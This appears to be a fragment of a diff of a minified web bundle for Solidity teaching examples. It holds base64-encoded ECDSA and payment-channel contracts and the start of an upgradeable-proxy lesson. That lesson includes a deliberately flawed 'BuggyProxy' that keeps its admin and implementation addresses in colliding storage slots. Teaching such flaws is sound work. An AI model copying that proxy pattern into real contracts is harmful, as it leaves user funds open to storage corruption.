YWxsZWFibGUgc2lnbmF0dXJlcyBhcyB3ZWxsLgogICAgICAgIGlmICgKICAgICAgICAgICAgdWludDI1NihzKQogICAgICAgICAgICAgICAgPiAweDdGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGNUQ1NzZFNzM1N0E0NTAxRERGRTkyRjQ2NjgxQjIwQTAKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIChhZGRyZXNzKDApLCBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZVMpOwogICAgICAgIH0KICAgICAgICBpZiAodiAhPSAyNyAmJiB2ICE9IDI4KSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVWKTsKICAgICAgICB9CgogICAgICAgIC8vIElmIHRoZSBzaWduYXR1cmUgaXMgdmFsaWQgKGFuZCBub3QgbWFsbGVhYmxlKSwgcmV0dXJuIHRoZSBzaWduZXIgYWRkcmVzcwogICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZWNyZWNvdmVyKGhhc2gsIHYsIHIsIHMpOwogICAgICAgIGlmIChzaWduZXIgPT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"UniDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgUmVlbnRyYW5jeUd1YXJkIHsKICAgIGJvb2wgcHJpdmF0ZSBsb2NrZWQ7CgogICAgbW9kaWZpZXIgZ3VhcmQoKSB7CiAgICAgICAgcmVxdWlyZSghbG9ja2VkKTsKICAgICAgICBsb2NrZWQgPSB0cnVlOwogICAgICAgIF87CiAgICAgICAgbG9ja2VkID0gZmFsc2U7CiAgICB9Cn0KCmNvbnRyYWN0IFVuaURpcmVjdGlvbmFsUGF5bWVudENoYW5uZWwgaXMgUmVlbnRyYW5jeUd1YXJkIHsKICAgIHVzaW5nIEVDRFNBIGZvciBieXRlczMyOwoKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgc2VuZGVyOwogICAgYWRkcmVzcyBwYXlhYmxlIHB1YmxpYyByZWNlaXZlcjsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgRFVSQVRJT04gPSA3ICogMjQgKiA2MCAqIDYwOwogICAgdWludDI1NiBwdWJsaWMgZXhwaXJlc0F0OwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgcGF5YWJsZSBfcmVjZWl2ZXIpIHBheWFibGUgewogICAgICAgIHJlcXVpcmUoX3JlY2VpdmVyICE9IGFkZHJlc3MoMCksICJyZWNlaXZlciA9IHplcm8gYWRkcmVzcyIpOwogICAgICAgIHNlbmRlciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICAgICAgcmVjZWl2ZXIgPSBfcmVjZWl2ZXI7CiAgICAgICAgZXhwaXJlc0F0ID0gYmxvY2sudGltZXN0YW1wICsgRFVSQVRJT047CiAgICB9CgogICAgZnVuY3Rpb24gX2dldEhhc2godWludDI1NiBfYW1vdW50KSBwcml2YXRlIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIC8vIE5PVEU6IHNpZ24gd2l0aCBhZGRyZXNzIG9mIHRoaXMgY29udHJhY3QgdG8gcHJvdGVjdCBhZ2FpbnMKICAgICAgICAvLyByZXBsYXkgYXR0YWNrIG9uIG90aGVyIGNvbnRyYWN0cwogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChhZGRyZXNzKHRoaXMpLCBfYW1vdW50KSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0SGFzaCh1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBfZ2V0SGFzaChfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBfZ2V0RXRoU2lnbmVkSGFzaCh1aW50MjU2IF9hbW91bnQpCiAgICAgICAgcHJpdmF0ZQogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIHJldHVybiBfZ2V0SGFzaChfYW1vdW50KS50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0RXRoU2lnbmVkSGFzaCh1aW50MjU2IF9hbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4gX2dldEV0aFNpZ25lZEhhc2goX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gX3ZlcmlmeSh1aW50MjU2IF9hbW91bnQsIGJ5dGVzIG1lbW9yeSBfc2lnKQogICAgICAgIHByaXZhdGUKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gX2dldEV0aFNpZ25lZEhhc2goX2Ftb3VudCkucmVjb3Zlcihfc2lnKSA9PSBzZW5kZXI7CiAgICB9CgogICAgZnVuY3Rpb24gdmVyaWZ5KHVpbnQyNTYgX2Ftb3VudCwgYnl0ZXMgbWVtb3J5IF9zaWcpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gX3ZlcmlmeShfYW1vdW50LCBfc2lnKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjbG9zZSh1aW50MjU2IF9hbW91bnQsIGJ5dGVzIG1lbW9yeSBfc2lnKSBleHRlcm5hbCBndWFyZCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IHJlY2VpdmVyLCAiIXJlY2VpdmVyIik7CiAgICAgICAgcmVxdWlyZShfdmVyaWZ5KF9hbW91bnQsIF9zaWcpLCAiaW52YWxpZCBzaWciKTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gcmVjZWl2ZXIuY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICAgICAgc2VsZmRlc3RydWN0KHNlbmRlcik7CiAgICB9CgogICAgZnVuY3Rpb24gY2FuY2VsKCkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBzZW5kZXIsICIhc2VuZGVyIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPj0gZXhwaXJlc0F0LCAiIWV4cGlyZWQiKTsKICAgICAgICBzZWxmZGVzdHJ1Y3Qoc2VuZGVyKTsKICAgIH0KfQo="}],uu=`

              Payment channels allow participants to repeatedly transfer Ether off chain.

              +`,hu=({prev:s,next:a})=>r.jsx(A,{version:tu,title:ou,description:ru,html:gu,prev:s,next:a,codes:iu}),Iu="0.8.24",du="Uni-Directional Payment Channel",Cu="An example of uni-directional payment channels in Solidity",ju=[{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjcmVjb3ZlcigpLiBSZW1vdmUgdGhpcyBwb3NzaWJpbGl0eSBhbmQgbWFrZSB0aGUgc2lnbmF0dXJlCiAgICAgICAgLy8gdW5pcXVlLiBBcHBlbmRpeCBGIGluIHRoZSBFdGhlcmV1bSBZZWxsb3cgcGFwZXIgKGh0dHBzOi8vZXRoZXJldW0uZ2l0aHViLmlvL3llbGxvd3BhcGVyL3BhcGVyLnBkZiksIGRlZmluZXMKICAgICAgICAvLyB0aGUgdmFsaWQgcmFuZ2UgZm9yIHMgaW4gKDMwMSk6IDAgPCBzIDwgc2VjcDI1NmsxbiDDtyAyICsgMSwgYW5kIGZvciB2IGluICgzMDIpOiB2IOKIiCB7MjcsIDI4fS4gTW9zdAogICAgICAgIC8vIHNpZ25hdHVyZXMgZnJvbSBjdXJyZW50IGxpYnJhcmllcyBnZW5lcmF0ZSBhIHVuaXF1ZSBzaWduYXR1cmUgd2l0aCBhbiBzLXZhbHVlIGluIHRoZSBsb3dlciBoYWxmIG9yZGVyLgogICAgICAgIC8vCiAgICAgICAgLy8gSWYgeW91ciBsaWJyYXJ5IGdlbmVyYXRlcyBtYWxsZWFibGUgc2lnbmF0dXJlcywgc3VjaCBhcyBzLXZhbHVlcyBpbiB0aGUgdXBwZXIgcmFuZ2UsIGNhbGN1bGF0ZSBhIG5ldyBzLXZhbHVlCiAgICAgICAgLy8gd2l0aCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGRDI1RThDRDAzNjQxNDEgLSBzMSBhbmQgZmxpcCB2IGZyb20gMjcgdG8gMjggb3IKICAgICAgICAvLyB2aWNlIHZlcnNhLiBJZiB5b3VyIGxpYnJhcnkgYWxzbyBnZW5lcmF0ZXMgc2lnbmF0dXJlcyB3aXRoIDAvMSBmb3IgdiBpbnN0ZWFkIDI3LzI4LCBhZGQgMjcgdG8gdiB0byBhY2NlcHQKICAgICAgICAvLyB0aGVzZSBtYWxsZWFibGUgc2lnbmF0dXJlcyBhcyB3ZWxsLgogICAgICAgIGlmICgKICAgICAgICAgICAgdWludDI1NihzKQogICAgICAgICAgICAgICAgPiAweDdGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGNUQ1NzZFNzM1N0E0NTAxRERGRTkyRjQ2NjgxQjIwQTAKICAgICAgICApIHsKICAgICAgICAgICAgcmV0dXJuIChhZGRyZXNzKDApLCBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZVMpOwogICAgICAgIH0KICAgICAgICBpZiAodiAhPSAyNyAmJiB2ICE9IDI4KSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVWKTsKICAgICAgICB9CgogICAgICAgIC8vIElmIHRoZSBzaWduYXR1cmUgaXMgdmFsaWQgKGFuZCBub3QgbWFsbGVhYmxlKSwgcmV0dXJuIHRoZSBzaWduZXIgYWRkcmVzcwogICAgICAgIGFkZHJlc3Mgc2lnbmVyID0gZWNyZWNvdmVyKGhhc2gsIHYsIHIsIHMpOwogICAgICAgIGlmIChzaWduZXIgPT0gYWRkcmVzcygwKSkgewogICAgICAgICAgICByZXR1cm4gKGFkZHJlc3MoMCksIFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiAoc2lnbmVyLCBSZWNvdmVyRXJyb3IuTm9FcnJvcik7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIHVpbnQ4IHYsIGJ5dGVzMzIgciwgYnl0ZXMzMiBzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MpCiAgICB7CiAgICAgICAgKGFkZHJlc3MgcmVjb3ZlcmVkLCBSZWNvdmVyRXJyb3IgZXJyb3IpID0gdHJ5UmVjb3ZlcihoYXNoLCB2LCByLCBzKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKGJ5dGVzMzIgaGFzaCkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIC8vIDMyIGlzIHRoZSBsZW5ndGggaW4gYnl0ZXMgb2YgaGFzaCwKICAgICAgICAvLyBlbmZvcmNlZCBieSB0aGUgdHlwZSBzaWduYXR1cmUgYWJvdmUKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KAogICAgICAgICAgICBhYmkuZW5jb2RlUGFja2VkKCJceDE5RXRoZXJldW0gU2lnbmVkIE1lc3NhZ2U6XG4zMiIsIGhhc2gpCiAgICAgICAgKTsKICAgIH0KfQo="},{fileName:"UniDirectionalPaymentChannel.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FQ0RTQS5zb2wiOwoKY29udHJhY3QgUmVlbnRyYW5jeUd1YXJkIHsKICAgIGJvb2wgcHJpdmF0ZSBsb2NrZWQ7CgogICAgbW9kaWZpZXIgZ3VhcmQoKSB7CiAgICAgICAgcmVxdWlyZSghbG9ja2VkKTsKICAgICAgICBsb2NrZWQgPSB0cnVlOwogICAgICAgIF87CiAgICAgICAgbG9ja2VkID0gZmFsc2U7CiAgICB9Cn0KCmNvbnRyYWN0IFVuaURpcmVjdGlvbmFsUGF5bWVudENoYW5uZWwgaXMgUmVlbnRyYW5jeUd1YXJkIHsKICAgIHVzaW5nIEVDRFNBIGZvciBieXRlczMyOwoKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgc2VuZGVyOwogICAgYWRkcmVzcyBwYXlhYmxlIHB1YmxpYyByZWNlaXZlcjsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgRFVSQVRJT04gPSA3ICogMjQgKiA2MCAqIDYwOwogICAgdWludDI1NiBwdWJsaWMgZXhwaXJlc0F0OwoKICAgIGNvbnN0cnVjdG9yKGFkZHJlc3MgcGF5YWJsZSBfcmVjZWl2ZXIpIHBheWFibGUgewogICAgICAgIHJlcXVpcmUoX3JlY2VpdmVyICE9IGFkZHJlc3MoMCksICJyZWNlaXZlciA9IHplcm8gYWRkcmVzcyIpOwogICAgICAgIHNlbmRlciA9IHBheWFibGUobXNnLnNlbmRlcik7CiAgICAgICAgcmVjZWl2ZXIgPSBfcmVjZWl2ZXI7CiAgICAgICAgZXhwaXJlc0F0ID0gYmxvY2sudGltZXN0YW1wICsgRFVSQVRJT047CiAgICB9CgogICAgZnVuY3Rpb24gX2dldEhhc2godWludDI1NiBfYW1vdW50KSBwcml2YXRlIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIC8vIE5PVEU6IHNpZ24gd2l0aCBhZGRyZXNzIG9mIHRoaXMgY29udHJhY3QgdG8gcHJvdGVjdCBhZ2FpbnMKICAgICAgICAvLyByZXBsYXkgYXR0YWNrIG9uIG90aGVyIGNvbnRyYWN0cwogICAgICAgIHJldHVybiBrZWNjYWsyNTYoYWJpLmVuY29kZVBhY2tlZChhZGRyZXNzKHRoaXMpLCBfYW1vdW50KSk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0SGFzaCh1aW50MjU2IF9hbW91bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBfZ2V0SGFzaChfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBfZ2V0RXRoU2lnbmVkSGFzaCh1aW50MjU2IF9hbW91bnQpCiAgICAgICAgcHJpdmF0ZQogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChieXRlczMyKQogICAgewogICAgICAgIHJldHVybiBfZ2V0SGFzaChfYW1vdW50KS50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0RXRoU2lnbmVkSGFzaCh1aW50MjU2IF9hbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYnl0ZXMzMikKICAgIHsKICAgICAgICByZXR1cm4gX2dldEV0aFNpZ25lZEhhc2goX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gX3ZlcmlmeSh1aW50MjU2IF9hbW91bnQsIGJ5dGVzIG1lbW9yeSBfc2lnKQogICAgICAgIHByaXZhdGUKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gX2dldEV0aFNpZ25lZEhhc2goX2Ftb3VudCkucmVjb3Zlcihfc2lnKSA9PSBzZW5kZXI7CiAgICB9CgogICAgZnVuY3Rpb24gdmVyaWZ5KHVpbnQyNTYgX2Ftb3VudCwgYnl0ZXMgbWVtb3J5IF9zaWcpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gX3ZlcmlmeShfYW1vdW50LCBfc2lnKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjbG9zZSh1aW50MjU2IF9hbW91bnQsIGJ5dGVzIG1lbW9yeSBfc2lnKSBleHRlcm5hbCBndWFyZCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IHJlY2VpdmVyLCAiIXJlY2VpdmVyIik7CiAgICAgICAgcmVxdWlyZShfdmVyaWZ5KF9hbW91bnQsIF9zaWcpLCAiaW52YWxpZCBzaWciKTsKCiAgICAgICAgKGJvb2wgc2VudCwpID0gcmVjZWl2ZXIuY2FsbHt2YWx1ZTogX2Ftb3VudH0oIiIpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIkZhaWxlZCB0byBzZW5kIEV0aGVyIik7CiAgICAgICAgc2VsZmRlc3RydWN0KHNlbmRlcik7CiAgICB9CgogICAgZnVuY3Rpb24gY2FuY2VsKCkgZXh0ZXJuYWwgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBzZW5kZXIsICIhc2VuZGVyIik7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPj0gZXhwaXJlc0F0LCAiIWV4cGlyZWQiKTsKICAgICAgICBzZWxmZGVzdHJ1Y3Qoc2VuZGVyKTsKICAgIH0KfQo="}],Au=`

              Payment channels allow participants to repeatedly transfer Ether off chain.

              Here is how this contract is used:

              • Alice deploys the contract, funding it with some Ether.
                • @@ -3219,7 +3219,7 @@ After a minimum waiting period, the transaction can be executed.

                ); } } -`,yu=({prev:s,next:a})=>r.jsx(A,{version:du,title:Cu,description:ju,html:uu,prev:s,next:a,codes:Au}),mu="0.8.24",bu="Upgradeable Proxy",wu="Example of upgradeable proxy",ku=[{fileName:"UpgradeableProxy.sol",code:"// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

// Transparent upgradeable proxy pattern

contract CounterV1 {
    uint256 public count;

    function inc() external {
        count += 1;
    }
}

contract CounterV2 {
    uint256 public count;

    function inc() external {
        count += 1;
    }

    function dec() external {
        count -= 1;
    }
}

contract BuggyProxy {
    address public implementation;
    address public admin;

    constructor() {
        admin = msg.sender;
    }

    function _delegate() private {
        (bool ok,) = implementation.delegatecall(msg.data);
        require(ok, "delegatecall failed");
    }

    fallback() external payable {
        _delegate();
    }

    receive() external payable {
        _delegate();
    }

    function upgradeTo(address _implementation) external {
        require(msg.sender == admin, "not authorized");
        implementation = _implementation;
    }
}

contract Dev {
    function selectors() external view returns (bytes4, bytes4, bytes4) {
        return (
            Proxy.admin.selector,
            Proxy.implementation.selector,
            Proxy.upgradeTo.selector
        );
    }
}

contract Proxy {
    // All functions / variables should be private, forward all calls to fallback

    // -1 for unknown preimage
    // 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
    bytes32 private constant IMPLEMENTATION_SLOT =
        bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1);
    // 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103
    bytes32 private constant ADMIN_SLOT =
        bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1);

    constructor() {
        _setAdmin(msg.sender);
    }

    modifier ifAdmin() {
        if (msg.sender == _getAdmin()) {
            _;
        } else {
            _fallback();
        }
    }

